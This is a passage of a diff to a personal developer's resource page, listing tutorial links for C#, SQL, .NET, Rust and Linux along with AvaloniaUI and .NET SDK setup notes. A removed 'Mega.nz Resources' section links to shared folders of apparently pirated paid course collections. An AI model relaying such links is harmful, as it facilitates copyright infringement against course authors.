+                              <a href="https://www.w3schools.com/c/index.php">W3Schools C Tutorials</a><br>
+                              <a href="https://www.learnc.org">LearnC.org</a><br>
+                              <a href="https://www.learnc.net">LearnC.net</a>
+                            </p>
+                            <h4>C++ Resources</h4>
+                            <p>
+                              <a href="https://www.w3schools.com/cpp/default.asp">W3Schools C++ Tutorials</a><br>
+                              <a href="https://www.learncpp.com/">learncpp</a>
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                        <AccordionItem title="C# Resources" id="csharpresources" parent="learningresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>C# Resources</h4>
+                            <p>
+                              <a href="https://learn.microsoft.com/en-us/dotnet/csharp">C# / dotnetDocumentation</a><br>
+                              <a href="https://www.c-sharpcorner.com/">C# Corner</a><br>
+                              <a href="https://www.c-sharpcorner.com/csharp-tutorials">C# Corner - Tutorials</a><br>
+                              <a href="https://www.tutorialsteacher.com/csharp/">C# TutorialsTeacher</a><br>
+                              <a href="https://sharplab.io">C# Compiler Playground</a><br>
+                              <a href="https://learn.microsoft.com/en-us/dotnet/api/system.configuration.configurationmanager?view=windowsdesktop-7.0">ConfigurationManager C#</a><br>
+                              <a href="https://scottkuhl.medium.com/building-production-ready-applications-24405c706707">Making Production Ready C# Applications</a><br>
+                              <a href="https://auth0.com/blog/introduction-to-async-programming-in-csharp/">Async I/O in C#</a><br>
+                              <a href="https://www.youtube.com/watch?v=z4SB5BkQX7M">Making IDs safer in C#</a><br>
+                              <a href="https://www.youtube.com/watch?v=sGwfwtkaDfk">Testing Tests (C#)</a><br>
+                              <a href="https://stryker-mutator.io/docs/stryker-net/getting-started/">Mutational Testing</a>
+                            </p>
+                            <h4>C# Hashing with Salt and Pepper</h4>
+                            <p>
+                              <a href="https://www.vb-paradise.de/index.php/Thread/133457-Sha256-hashing-von-Userdaten-Name-Pwd-inkl-Salt-und-Pepper-Hab-ich-das-korrekt-u/" class="link-warning">Source (German)</a>
+                            </p>
+                            <p> There are outdated files on the source, if you need to, use the updated files of the <a href="/media/files/csharpsaltpepper.1.cs">first code block</a> and the <a href="/media/files/csharpsaltpepper.2.cs">second code block</a>. </p>
+                            <h4>Inversion of Control Series</h4>
+                            <p>
+                              <a href="https://dotnettutorials.net/lesson/introduction-to-inversion-of-control/">Introduction</a>
+                              <br>
+                              <a href="https://dotnettutorials.net/lesson/inversion-of-control/">Inversion of Control</a>
+                              <br>
+                              <a href="https://dotnettutorials.net/lesson/dependency-inversion-principle-csharp-ioc/">IoC with Dependency Inversion Principle</a>
+                              <br>
+                              <a href="https://dotnettutorials.net/lesson/dependency-injection-design-pattern/">Dependency Injection</a>
+                              <br>
+                              <a href="htstps://dotnettutorials.net/lesson/ioc-container-in-csharp/">IoC container</a>
+                            </p>
+                            <h4>Dependency Injection for AvaloniaUI</h4>
+                            <strong>Sources</strong>
                             <br>
-                            <a href="https://dotnettutorials.net/lesson/inversion-of-control/">Inversion of Control</a>
                             <br>
-                            <a href="https://dotnettutorials.net/lesson/dependency-inversion-principle-csharp-ioc/">IoC with Dependency Inversion Principle</a>
+                            <p>
+                              <a href="https://github.com/Kaharonus/Avalonia.Extensions.DependencyInjection">GitHub</a><br>
+                              <a href="https://www.reddit.com/r/AvaloniaUI/comments/ssplp9/microsoftextensionsdependencyinjection_to_inject/">Reddit + GitHub</a><br>
+                              <a href="https://dev.to/ingvarx/avaloniaui-dependency-injection-4aka">Dev.to</a>
+                            </p>
+                            <p>
+                              <a href="https://www.youtube.com/watch?v=q6lFGr2DeHQ&amp;t=199s">MammaMiaDev - YouTube</a> - Explains some possibilities.
+                            </p>
+                            <p>
+                              <a href="https://github.com/MammaMiaDev/avaloniaui-the-series/blob/main/AvaloniaApplication/App.axaml.cs">MammaMiaDev - GitHub</a> - Example repository for DI in context with Views &amp; ViewModels | <code>Showing App.xaml.cs</code>
+                            </p>
+                            <p>
+                              <strong>REQUIRED</strong>: Implement the <code>RegisterViewFactory</code> from <code>ViewLocator.cs</code>. It can be used for other stuff except Views &amp; ViewModels.
+                            </p>
+                            <hr>
+                            <strong>Setup for Rider</strong>
                             <br>
-                            <a href="https://dotnettutorials.net/lesson/dependency-injection-design-pattern/">Dependency Injection</a>
                             <br>
-                            <a href="htstps://dotnettutorials.net/lesson/ioc-container-in-csharp/">IoC container</a>
-                          </p>
-                          <h5>Dependency Injection for AvaloniaUI</h5>
-                          <strong>Sources</strong>
-                          <br>
-                          <br>
-                          <p>
-                            <a href="https://github.com/Kaharonus/Avalonia.Extensions.DependencyInjection">GitHub</a>
-                            <a href="https://www.reddit.com/r/AvaloniaUI/comments/ssplp9/microsoftextensionsdependencyinjection_to_inject/">Reddit + GitHub</a>
-                            <a href="https://dev.to/ingvarx/avaloniaui-dependency-injection-4aka">Dev.to</a>
-                          </p>
-                          <p>
-                            <a href="https://www.youtube.com/watch?v=q6lFGr2DeHQ&amp;t=199s">MammaMiaDev - YouTube</a> - Explains some possibilities.
-                          </p>
-                          <p>
-                            <a href="https://github.com/MammaMiaDev/avaloniaui-the-series/blob/main/AvaloniaApplication/App.axaml.cs">MammaMiaDev - GitHub</a> - Example repository for DI in context with Views &amp; ViewModels | <code>Showing App.xaml.cs</code>
-                          </p>
-                          <p>
-                            <strong>REQUIRED</strong>: Implement the <code>RegisterViewFactory</code> from <code>ViewLocator.cs</code>. It can be used for other stuff except Views &amp; ViewModels.
-                          </p>
-                          <hr>
-                          <strong>Setup for Rider</strong>
-                          <br>
-                          <br>
-                          <p>
-                            <b>Pre-conditions:</b> Add package source (image1).
-                          </p>
-                          </p>
-                          <hr>
-                          <strong>Instructions</strong>
-                          <br>
-                          <br>
-                          <p>Source Values:</p>
-                          <ul>
-                            <li>
-                              <b>Name:</b> Windows Community Toolkit Labs (or decide as you want)
-                            </li>
-                            <li>
-                              <b>URL:</b>
-                              <a class="text-wrap" href="https://pkgs.dev.azure.com/dotnet/CommunityToolkit/_packaging/CommunityToolkit-Labs/nuget/v3/index.json">https://pkgs.dev.azure.com/dotnet/CommunityToolkit/_packaging/CommunityToolkit-Labs/nuget/v3/index.json</a> | <strong>REQUIRED</strong>
-                            </li>
-                            <li>
-                              <b>User:</b> Rider account name
-                            </li>
-                            <li>
-                              <b>Password:</b> Rider account password
-                            </li>
-                          </ul>
-                          <hr>
-                          <strong>Background Information</strong>
-                          <br>
-                          <br>
-                          <p>By this action you are modifying the NetGet.config file, which applies configurations to the NuGet package manager on your local machine.</p>
-                          <p>Afterwards install the package from Rider&#39;s NuGet Window as usual and you&#39;re off to the races.</p>
-                          <hr>
-                          <strong>Other GitHub Repos</strong>
-                          <br>
-                          <br>
-                          <p>
-                            <a href="https://github.com/CommunityToolkit/WindowsCommunityToolkit/wiki/Preview-Packages#toolkit-labs-">Official Instructions on adding the Community Toolkit as a NuGet packages source</a> - Instructions are derived from this.
-                          </p>
-                          <p>
-                            <a href="https://github.com/stevemonaco/AvaloniaViewModelFirstDemos?tab=readme-ov-file">Create an AOT-friendly ViewLocator</a> - MammaMiaDev is derived from this.
-                          </p>
-                        </Fragment>
-                      </AccordionItem>
-                      <AccordionItem title="SQL Resources" id="sqlresources" parent="learningresourcesAccordion">
-                        <Fragment slot="accordion-item-content">
-                          <h5>SQL Resources</h5>
-                          <p>
-                            <a href="https://www.w3schools.com/sql/default.asp">W3Schools SQL Tutorials</a>
-                            <a href="https://www.litedb.org/docs/getting-started/">LiteDB</a>
-                            <a href="https://docs.oracle.com/cd/E17952_01/connector-net-en/index.html">.NET SQL Connecter Documentation</a>
-                            <a href="https://mysqlconnector.net/">MySQLConnecter</a>
-                            <a href="https://www.youtube.com/watch?v=4q-keGvUnag">DB Relation Models</a>
-                            <a href="https://www.dbdiagram.io/home">Code Like DB Visualization</a>
-                            <a href="https://www.sqlstyle.guide">SQL Style Guide</a>
-                            <a href="https://goteleport.com/blog/securing-postgres-postgresql/">Securing Your PostgreSQL Database</a>
-                          </p>
-                        </Fragment>
-                      </AccordionItem>
-                      <AccordionItem title=".NET Resources" id="dotnetresources" parent="learningresourcesAccordion">
-                        <Fragment slot="accordion-item-content">
-                          <h5>.NET Resources</h5>
-                          <p>
-                            <a href="https://learn.microsoft.com/en-us/dotnet/csharp">C# / dotnetDocumentation</a>
-                            <a href="https://dotnettutorials.net">DotNet Tutorials</a>
-                            <a href="https://dotnet.microsoft.com/en-us/download">Download .NET</a>
-                            <a href="https://dotnet.microsoft.com/en-us/download/dotnet-framework">Download .NET Framework</a>
-                            <a href="https://docs.oracle.com/cd/E17952_01/connector-net-en/index.html">.NET SQL Connecter Documentation</a>
-                            <a href="https://codinghelmet.com/articles/threadexc">How to Handle Exceptions from Background Worker Thread in .NET</a>
-                            <a href="https://dotnettutorials.net/lesson/unit-of-work-pattern-in-asp-net-core-mvc-using-ef-core">Unit of Work Pattern</a>
-                            <a href="https://learn.microsoft.com/en-us/aspnet/mvc/overview/older-versions/getting-started-with-ef-5-using-mvc-4/implementing-the-repository-and-unit-of-work-patterns-in-an-asp-net-mvc-application">UoW Pattern + Repo Docs</a>
-                          </p>
-                          <h5>Clean Project Architecture</h5>
-                          <p>
-                            <a href="/media/pdf/clean-architecture-a-craftsmans-guide-to-software-structure-and-design_compress.pdf">PDF Guide</a>
-                            <a href="https://github.com/jasontaylordev/CleanArchitecture">Template 1</a>
-                            <a href="https://github.com/ardalis/CleanArchitecture">Template 2</a>
-                            <a href="https://github.com/amantinband/clean-architecture">Template 3</a>
-                            <a href="https://stackoverflow.com/questions/74781704/how-to-make-nlog-v5-work-with-avalonia-android">StackOverflow w/ NLog</a>
-                            <a href="https://www.youtube.com/watch?v=YiVqwoFMieg">Explanation Video</a>
-                          </p>
-                          <p>
-                            <a href="https://tutorials.eu/c-sharp-solution-structure/">Tutorials EU - C# Solution Strucure</a>
-                            <a href="https://www.jamesmichaelhickey.com/how-to-structure-your-dot-net-solutions-design-and-trade-offs/">.NET Architecture: How To Structure Your Solutions - Design </a>
-                            <a href="https://www.reddit.com/r/csharp/comments/k21qjv/can_anyone_show_me_the_proper_project_structure/?rdt=60419">Redit - Proper project strucure</a>
-                          </p>
-                          <p>
-                            <a href="https://gist.github.com/davidfowl/ed7564297c61fe9ab814">https://gist.github.com/davidfowl/ed7564297c61fe9ab814</a>
-                            <a href="https://www.youtube.com/watch?v=YiVqwoFMieg">Nick Chapsas - How to structure a .NET Solution (project separation &amp; architecture)</a>
-                          </p>
-                          <h5>Installing .NET 8.0 SDK on Ubuntu Server 24.04 LTS</h5>
-                          <p>
-                            <code>wget -O - https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor | sudo tee /etc/apt/keyrings/microsoft.gpg</code>
-                          </p>
-                          <p>Create a file -&gt; <code>/etc/apt/sources.list.d/microsoft.sources</code></p>
-                          <p>Paste content (JavaScript):<br>
-                            <code>
-                            Types: deb<br>
-                            URIs: https://packages.microsoft.com/ubuntu/22.04/prod/<br>
-                            Suites: jammy<br>
-                            Components: main<br>
-                            Architectures: amd64<br>
-                            Signed-By: /etc/apt/keyrings/microsoft.gpg<br>
-                            </code>
+                            <p>
+                              <b>Pre-conditions:</b> Add package source (image1).
+                            </p>
+                            </p>
+                            <hr>
+                            <strong>Instructions</strong>
                             <br>
-                          Then (Console):<br>
-                          <code>sudo apt update</code>
-                          </p>
-                          <h6>Fixing libicu dependency package issue</h6>
-                          <p>Package is at this date & time not available for Ubuntu 24.04 LTS. Paste content (Console):<br>
-                            <code>
-                            echo "deb http://archive.ubuntu.com/ubuntu jammy main" | sudo tee /etc/apt/sources.list.d/libicu-jammy.list<br>
-                            </code>
-                          <br>
-                          Pinning to lower priority to avoid conflicts with with main 24.04 repositories. Paste content (Console):<br>
-                            <code>
-                            sudo tee /etc/apt/preferences.d/libicu &lt;&lt;EOF<br>
-                            Package: libicu* <br>
-                            Pin: release n=jammy <br>
-                            Pin-Priority: 100 <br>
-                            EOF<br>
-                            </code>
-                          <br>
-                          Update system & install .NET SDK. Paste content (Console):<br>
-                            <code>
-                            sudo apt update && sudo apt install dotnet-sdk-8.0
-                            </code>
-                          </p>
-                        </Fragment>
-                      </AccordionItem>
-                      <AccordionItem title="Rust Resources" id="rustresources" parent="learningresourcesAccordion">
-                        <Fragment slot="accordion-item-content">
-                          <h5>Rust Resources</h5>
-                          <p>
-                            <a href="https://www.rust-lang.org/learn">Learn Rust</a>
-                            <a href="https://github.com/rust-lang/miri">Miri</a>
-                            <a href="https://blessed.rs/">blessed.rs</a>
-                            <a href="https://github.com/ex0dus-0x/awesome-rust-security">Rust Security</a>
-                          </p>
-                        </Fragment>
-                      </AccordionItem>
-                      <AccordionItem title="Discord Resources" id="discordresources" parent="learningresourcesAccordion">
-                        <Fragment slot="accordion-item-content">
-                          <h5>Discord Resources</h5>
-                          <p>
-                            <a href="https://discord.js.org/">Discord.js Website</a>
-                            <a href="https://discordjs.guide/">Discord.js Guide</a>
-                            <a href="https://discord.com/developers/docs/intro">Discord Developers Portal</a>
-                            <a href="https://discord.id/">Discord ID</a>
-                            <a href="https://discords.com/emoji-list/">Discord Icons</a>
-                            <a href="https://www.authorityhunter.com/how-to-revive-dead-discord-server/">Discord Server Revival</a>
-                            <a href="https://r.3v.fi/discord-timestamps/">Discord Timestamp Creator</a>
-                            <a href="https://discordresources.com/">Other Discord Resources</a>
-                            <a href="https://www.youtube.com/watch?v=c_arQ-6ElYI">Discord as Storage</a>
-                            <a href="https://dev.to/gogamic/how-to-run-discord-bot-24-7-in-ubuntu-3do0">How to run Discord Bots 24/7 w/ Ubuntu</a>
-                            <a href="https://discord.gg/QqWuTbEUrD">The Merchant's Shop!</a>
-                          </p>
-                        </Fragment>
-                      </AccordionItem>
-                      <AccordionItem title="Linux Resources" id="linuxresources" parent="learningresourcesAccordion">
-                        <Fragment slot="accordion-item-content">
-                          <h5>Linux Resources</h5>
-                          <p>
-                            <a href="https://phoenixnap.com/kb/install-ftp-server-on-ubuntu-vsftpd">How to Install FTP Server on Ubuntu with vsftpd</a>
-                            <a href="https://www.digitalocean.com/community/tutorials/how-to-install-and-manage-supervisor-on-ubuntu-and-debian-vps">How to install and manage supervisor on Ubuntu and Debian VPS</a>
-                            <a href="https://sysprog21.github.io/lkmpg/">Linux Kernel Module Programming Guide</a>
-                            <a href="https://www.youtube.com/watch?v=cC1CqyCN9Q0">How to Fit In with Linux Users</a>
-                          </p>
-                          <h5>Astonishing GNOME customization</h5>
-                          <p>
-                            <a href="https://www.youtube.com/watch?v=3XHIV2RF2Yc">Glassmorphism</a>
                             <br>
-                            <a href="https://www.youtube.com/watch?v=49_ZUgpMMFA">Everforest</a>
+                            <p>Source Values:</p>
+                            <ul>
+                              <li>
+                                <b>Name:</b> Windows Community Toolkit Labs (or decide as you want)
+                              </li>
+                              <li>
+                                <b>URL:</b>
+                                <a class="text-wrap" href="https://pkgs.dev.azure.com/dotnet/CommunityToolkit/_packaging/CommunityToolkit-Labs/nuget/v3/index.json">https://pkgs.dev.azure.com/dotnet/CommunityToolkit/_packaging/CommunityToolkit-Labs/nuget/v3/index.json</a> | <strong>REQUIRED</strong>
+                              </li>
+                              <li>
+                                <b>User:</b> Rider account name
+                              </li>
+                              <li>
+                                <b>Password:</b> Rider account password
+                              </li>
+                            </ul>
+                            <hr>
+                            <strong>Background Information</strong>
                             <br>
-                            <a href="https://www.youtube.com/watch?v=bDTUbBoIoUQ">Fluent</a>
                             <br>
-                            <a href="https://www.youtube.com/watch?v=qC0mnGprbeM">Orchis GTK</a>
+                            <p>By this action you are modifying the NetGet.config file, which applies configurations to the NuGet package manager on your local machine.</p>
+                            <p>Afterwards install the package from Rider&#39;s NuGet Window as usual and you&#39;re off to the races.</p>
+                            <hr>
+                            <strong>Other GitHub Repos</strong>
                             <br>
-                            <a href="https://www.youtube.com/watch?v=1doqD4t7xVs">Evergreen</a>
-                          </p>
-                          <h5>Apache, MariaDB and PHP (LAMP) Installation for Arch-based Distros</h5>
-                          <p>
-                            <a href="https://forum.manjaro.org/t/howto-install-apache-mariadb-mysql-php-lamp/13000">[HowTo] Install Apache, MariaDB (MySQL), PHP (LAMP)</a>
-                          </p>
-                          <blockquote class="ps-3">
-                            <p>&gt; PS: You must add a <code>phpmyadmin</code> DB and import <code>/usr/share/webapps/phpmyadmin/sql/create_tables.sql</code> there - on Linux. <br> &gt; And also modify / add some lines in your <code>.../phpmyadmin/config.inc.php</code> to tell <code>phpmyadmin</code> to use this DB for it&#39;s configuration storage: </p>
-                          </blockquote>
-                          <h4>Under the <code>phpMyAdmin configuration storage settings</code>-section </h4>
-                          <p>Un-comment all tables matching the pattern below - but check in your DB, if they were created by the <code>create_table.sql</code>. </p>
-                          <p>
-                            <code> // REQUIRED User - uncomment as well!!! <br> // Replace &#39;pma&#39; and &#39;pmapass&#39; with the username &amp; password of a MySQL user that contains the appropriate privileges on the phpmyadmin database. <br> $cfg[&#39;Servers&#39;][$i][&#39;controluser&#39;] = &#39;pma&#39;; <br> $cfg[&#39;Servers&#39;][$i][&#39;controlpass&#39;] = &#39;pmapass&#39;; <br> // Pattern <br> $cfg[&#39;Servers&#39;][$i][&#39;tableName&#39;] = &#39;tableName&#39;; </code>
-                          </p>
-                          <h6>Optional: Create the User</h6>
-                          <p>
-                            <code> CREATE USER 'pma'@'localhost' IDENTIFIED BY'pmapass'; <br> GRANT SELECT, INSERT, UPDATE, DELETE ON phpmyadmin.* TO 'pma'@'localhost'; <br> FLUSH PRIVILEGES; <br>
-                            </code>
-                          </p>
-                          <p>Problems or using Windows? <br> =&gt; Refer to the Docs: <code>http://yourServerNameOrIPAddr/phpmyadmin/doc/html/setup.html#phpmyadmin-configuration-storage</code>
-                          </p>
-                        </Fragment>
-                      </AccordionItem>
-                      <AccordionItem title="Mega.nz Resources" id="meganzresources" parent="learningresourcesAccordion">
-                        <Fragment slot="accordion-item-content">
-                          <h5>Mega.nz Resources</h5>
-                          <p>
-                            <a href="https://controlc.com/60860490">Udemy Mega.nz 12 Parts Courses Collection</a>
-                            <a href="https://controlc.com/1a365e0f">4 TB Mega.nz Courses Collection</a>
-                            <a href="https://controlc.com/aedfca1f">14 TB Mega.nz Courses Collection</a>
-                            <a href="https://mega.nz/folder/zGJT1QQQ#O-8yiH845GN26ajAvkoLkA">Additional CyberSecurity Files</a>
-                            <a href="https://mega.nz/folder/dLIWkbCB#0MH4CBGlj0JUA6n00EbpDg">150 Interview Problems (AlgoExpert Course 1)</a>
-                            <a href="https://mega.nz/folder/oWAwAR5Y#WsyNfvNK_SkoFXS4WJKcTA">Systems Design Fundamentals (AlgoExpert Course 2)</a>
-                            <a href="https://mega.nz/folder/RGBgHJIS#qOsdOXynX41S5TFOP0PqHg">Data Structures Crash Course (AlgoExpert Course 3)</a>
-                            <a href="https://mega.nz/folder/5bQAFTCZ#q3HkgHHDSjPk_q0Uq0QQ4w">Become an Algorithms Expert (AlgoExpert Course 4)</a>
-                            <a href="https://mega.nz/folder/YXIC2DqA#_A9kVgMPzl652Qfqi9lhlA">Interview Preparation Course (Part 1) (AlgoExpert Course 5)</a>
-                            <a href="https://mega.nz/folder/JeZ2RTTI#s4jjLfA1ef27bIQH_1ei3Q">Interview Preparation Course (Part 2) (AlgoExpert Course 6)</a>
-                            <a href="https://mega.nz/folder/UGRQnTaI#L6B62U_3jUOuRkCEH4DZvw">Interview Tips (AlgoExpert Course 7)</a>
-                          </p>
-                          <p>
-                            <a href="https://mega.nz/folder/dbwmwS6b#p9nGMhSXETZBAEYGoKty8Q">Code With Mosh</a> (Code: p9nGMhSXETZBAEYGoKty8Q)
-                          </p>
-                        </Fragment>
-                      </AccordionItem>
-                      <AccordionItem title="All Guides VenenJean used to Install VirtualBox under Manjaro" id="vbmanjaro" parent="learningresourcesAccordion">
-                        <Fragment slot="accordion-item-content">
-                          <h5>All Guides VenenJean used to Install VisualBox under Manjaro</h5>
-                          <p>
-                            <a href="https://wiki.manjaro.org/index.php/VirtualBox#Configuring_the_host">Guide 1 (Manjaro Wiki)</a>
-                            <a href="https://hibbard.eu/install-ubuntu-virtual-box">Guide 2 (Hibbard)</a>
-                            <a href="https://www.cherryservers.com/blog/how-to-install-and-start-using-mariadb-on-ubuntu-20-04">Guide 3 (CherryServers)</a>
-                            <a href="https://www.ibm.com/docs/en/spectrum-lsf-rtm/10.2.0?topic=ssl-configuring-default-root-password-mysqlmariadb">Guide 4 (IBM)</a>
-                            <a href="https://linuxiac.com/how-to-install-virtualbox-on-manjaro-linux/">Guide 5 (LinuxIAC)</a>
-                            <a href="https://mariadb.org/download/?t=repo-config&d=22.04+%22jammy%22&v=11.1&r_m=23Media">Guide 6 (MariaDB)</a>
-                            <a href="https://phoenixnap.com/kb/ssh-with-key">SSH Public Key Connection Setup</a>
-                            <a href="https://wiki.manjaro.org/">Manjaro Wiki</a>
-                          <p>
-                            <a href="https://www.youtube.com/watch?v=V2N1nrULjcY">Fixing VBox Users: The Screen Scaling Problem</a>
-                          </p>
-                          </p>
-                        </Fragment>
-                      </AccordionItem>
-                    </Fragment>
-                  </Accordion>
-                </Fragment>
-              </AccordionItem>
-              <AccordionItem title="Other Resources" id="otherresources" parent="resourcesAccordion">
-                <Fragment slot="accordion-item-content">
-                  <h4>Other Resources</h4>
-                  <p>
-                    <a href="https://www.datensen.com/blog/">Data Management Blog</a>
-                    <a href="http://www.denic.de/en/domains/whois-service/web-whois.html">WHOIS Lookup</a>
-                    <a href="https://www.immuniweb.com/websec/">Web Security Testing</a>
-                    <a href="https://css-tricks.com/probably-dont-base64-svg/">CSS Data URI</a>
-                    <a href="https://www.urldecoder.io/">URL Decoder</a>
-                    <a href="https://loremipsum.io/">Lorem Ipsum Generator</a>
-                    <a href="https://phish.report">Report Phishing</a>
-                    <a href="https://codebeautify.org/">CodeBeautify</a>
-                    <a href="https://www.newtonsoft.com/json">JSON.NET</a>
-                    <a href="https://github.com/sshnet/SSH.NET">SSH.NET</a>
-                    <a href="https://www.sonarsource.com/products/sonarlint/features/visual-studio/">SonarLint</a>
-                    <a href="https://figma.com">Figma</a>
-                    <a href="https://www.youtube.com/watch?v=HMntFTgy8Is">Simple Table in Figma</a>
-                    <a href="https://astro.build/">Astro</a>
-                    <a href="https://getbootstrap.com">Bootstrap</a>
-                    <a href="https://tailwindcss.com/">Tailwind.css</a>
-                    <a href="https://jquery.com/">JQuery JS</a>
-                    <a href="http://vanilla-js.com/">Vanilla-JS Framework</a>
-                    <a href="https://bulma.io/">Bulma CSS Framework</a>
-                    <a href="https://iconscout.com/">Iconscout</a>
-                    <a href="https://addr.tools/">Internet Tools</a>
-                    <a href="https://github.com/">GitHub</a>
-                    <a href="https://gitlab.com/">GitLab</a>
-                    <a href="https://youtu.be/RxHJdapz2p0?si=H3teosorRjwVNE7P">How Git Actually Works</a>
-                    <a href="https://gitmoji.dev">GitMoji <a href="https://www.webbyawards.com/">Webby Awards</a>
-                    <a href="https://pagespeed.web.dev/">PageSpeed Insights</a>
-                    <a href="https://www.freesoff.com/">FreeSoff (Free Software)</a>
-                    <a href="https://axiom.ai">No Code Browser Automation</a>
-                    <a href="https://www.wolframalpha.com">Math, Science, Tech, Culture, and Life API</a>
-                    <a href="https://tinywow.com">Free AI Writing, PDF, Image, and Other Online Tools</a>
-                    <a href="https://www.opensourcealternative.to">Open Source Alternatives</a>
-                    <a href="https://www.jotform.com">Free Letter Forms</a>
-                    <a href="https://www.nirsoft.net/panel/">NirSoft</a>
-                    <a href="https://www.commontools.org/">Commontools.org</a>
-                    <a href="https://coolbackgrounds.io/">CoolBackgrounds</a>
-                    <a href="https://uigradients.com/">UIgradients</a>
-                    <a href="https://cssgradient.io/">CSS Gradients</a>
-                    <a href="https://www.svgbackgrounds.com/">SVG Gradients</a>
-                    <a href="https://www.ilovepdf.com/">ILovePDF</a>
-                    <a href="https://jpg2png.com/">JPG2PNG</a>
-                    <a href="https://png2pdf.com/">PNG2PDF</a>
-                    <a href="https://pdf2png.com/">PDF2PNG</a>
-                    <a href="https://www.zamzar.com/convert/xlsx-to-pdf/">XLSX2PDF</a>
-                    <a href="https://pmichaels.net/2021/08/29/compiling-code-files-in-c-using-roslyn/">CS2DLL</a>
-                    <a href="https://www.canva.com/colors/color-wheel/">Canva Color Wheel</a>
-                    <a href="https://www.spycolor.com/">SpyColor</a>
-                    <a href="https://app.eraser.io/">Eraser (Planning)</a>
-                    <a href="https://github.com/bytemate/chatapi-single">ChatGPT-API-Server</a>
-                    <a href="https://fathy.fr/carbonyl">Chrome Render to Terminal</a>
-                    <a href="https://dontasktoask.com/">Don't ask to ask, just ask</a>
-                    <a href="https://insights.stackoverflow.com/survey/">StackOverflow Yearly Surveys</a>
-                    <a href="https://survey.devographics.com/en-US">State of Language Survey</a>
-                  </p>
-                  <Accordion parent="otherresourcesAccordion">
-                    <Fragment slot="accordion-content">
-                      <AccordionItem title="Code Editors" id="codeeditors" parent="otherresourcesAccordion">
-                        <Fragment slot="accordion-item-content">
-                          <h5>Code Editors</h5>
-                          <p>
-                            <a href="https://atom.io">Atom</a>
-                            <a href="https://code.visualstudio.com/download">Visual Studio Code (VSCode)</a>
-                            <a href="https://youtube.com/shorts/y7fwyTh0F7Y?si=1YktIy5eP2H5vF1k">GitHub in VSCode</a>
-                            <a href="https://www.sublimetext.com/download">Sublime Text</a>
-                            <a href="https://github.com/WerWolv/ImHex">Hex Editor (ImHex)</a>
-                            <a href="https://www.vim.org/download.php">Vim</a>
-                            <a href="https://www.jetbrains.com/pycharm/">Pycharm (Python IDE)</a>
-                            <a href="https://www.eclipse.org/downloads/">Eclipse (Java IDE)</a>
-                            <a href="https://www.jetbrains.com/idea/download/">Intellij (Java IDE)</a>
-                          </p>
-                        </Fragment>
-                      </AccordionItem>
-                      <AccordionItem title="Fonts" id="fontsitem" parent="otherresourcesAccordion">
-                        <Fragment slot="accordion-item-content">
-                          <h5>Fonts</h5>
-                          <p>
-                            <a href="https://gwfh.mranftl.com/fonts">Google WebFonts Helper</a>
-                            <a href="https://www.cufonfonts.com/font/segoe-ui-4">Segoe UI</a>
-                            <a href="https://www.cufonfonts.com/font/force-commander">Force Commander</a>
-                            <a href="https://www.cufonfonts.com/search/Oswald">Oswald</a>
-                            <a href="https://fonts.google.com/specimen/Oswald">Oswald from Google</a>
-                            <a href="https://www.cufonfonts.com/search/kanit">Kanit</a>
-                            <a href="https://fonts.google.com/specimen/Kanit">Kanit from Google</a>
-                            <a href="https://zyro.com/blog/clean-fonts/">More Clean Fonts</a>
-                            <a href="https://typographyhandbook.com/#introduction">Typography Handbook</a>
-                          </p>
-                        </Fragment>
-                      </AccordionItem>
-                      <AccordionItem title="Discord Glitches" id="discordgitches" parent="otherresourcesAccordion">
-                        <Fragment slot="accordion-item-content">
-                          <h5>Discord Glitches</h5>
-                          <p>
-                            <a href="https://github.com/PanIntegralus/discord.webm-compilation">Glitched WEBMs</a>
                             <br>
-                            <a href="https://gist.github.com/ghostrider-05/8f1a0bfc27c7c4509b4ea4e8ce718af0">Discord Link Protocols</a>
+                            <p>
+                              <a href="https://github.com/CommunityToolkit/WindowsCommunityToolkit/wiki/Preview-Packages#toolkit-labs-">Official Instructions on adding the Community Toolkit as a NuGet packages source</a> - Instructions are derived from this.
+                            </p>
+                            <p>
+                              <a href="https://github.com/stevemonaco/AvaloniaViewModelFirstDemos?tab=readme-ov-file">Create an AOT-friendly ViewLocator</a> - MammaMiaDev is derived from this.
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                        <AccordionItem title="SQL Resources" id="sqlresources" parent="learningresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>SQL Resources</h4>
+                            <p>
+                              <a href="https://www.w3schools.com/sql/default.asp">W3Schools SQL Tutorials</a><br>
+                              <a href="https://www.litedb.org/docs/getting-started/">LiteDB</a><br>
+                              <a href="https://docs.oracle.com/cd/E17952_01/connector-net-en/index.html">.NET SQL Connecter Documentation</a><br>
+                              <a href="https://mysqlconnector.net/">MySQLConnecter</a><br>
+                              <a href="https://www.youtube.com/watch?v=4q-keGvUnag">DB Relation Models</a><br>
+                              <a href="https://www.dbdiagram.io/home">Code Like DB Visualization</a><br>
+                              <a href="https://www.sqlstyle.guide">SQL Style Guide</a><br>
+                              <a href="https://goteleport.com/blog/securing-postgres-postgresql/">Securing Your PostgreSQL Database</a>
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                        <AccordionItem title=".NET Resources" id="dotnetresources" parent="learningresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>.NET Resources</h4>
+                            <p>
+                              <a href="https://learn.microsoft.com/en-us/dotnet/csharp">C# / dotnetDocumentation</a><br>
+                              <a href="https://dotnettutorials.net">DotNet Tutorials</a><br>
+                              <a href="https://dotnet.microsoft.com/en-us/download">Download .NET</a><br>
+                              <a href="https://dotnet.microsoft.com/en-us/download/dotnet-framework">Download .NET Framework</a><br>
+                              <a href="https://www.newtonsoft.com/json">JSON.NET</a><br>
+                              <a href="https://github.com/sshnet/SSH.NET">SSH.NET</a><br>
+                              <a href="https://docs.oracle.com/cd/E17952_01/connector-net-en/index.html">.NET SQL Connecter Documentation</a><br>
+                              <a href="https://codinghelmet.com/articles/threadexc">How to Handle Exceptions from Background Worker Thread in .NET</a><br>
+                              <a href="https://dotnettutorials.net/lesson/unit-of-work-pattern-in-asp-net-core-mvc-using-ef-core">Unit of Work Pattern</a><br>
+                              <a href="https://learn.microsoft.com/en-us/aspnet/mvc/overview/older-versions/getting-started-with-ef-5-using-mvc-4/implementing-the-repository-and-unit-of-work-patterns-in-an-asp-net-mvc-application">UoW Pattern + Repo Docs</a>
+                            </p>
+                            <h4>Clean Project Architecture</h4>
+                            <p>
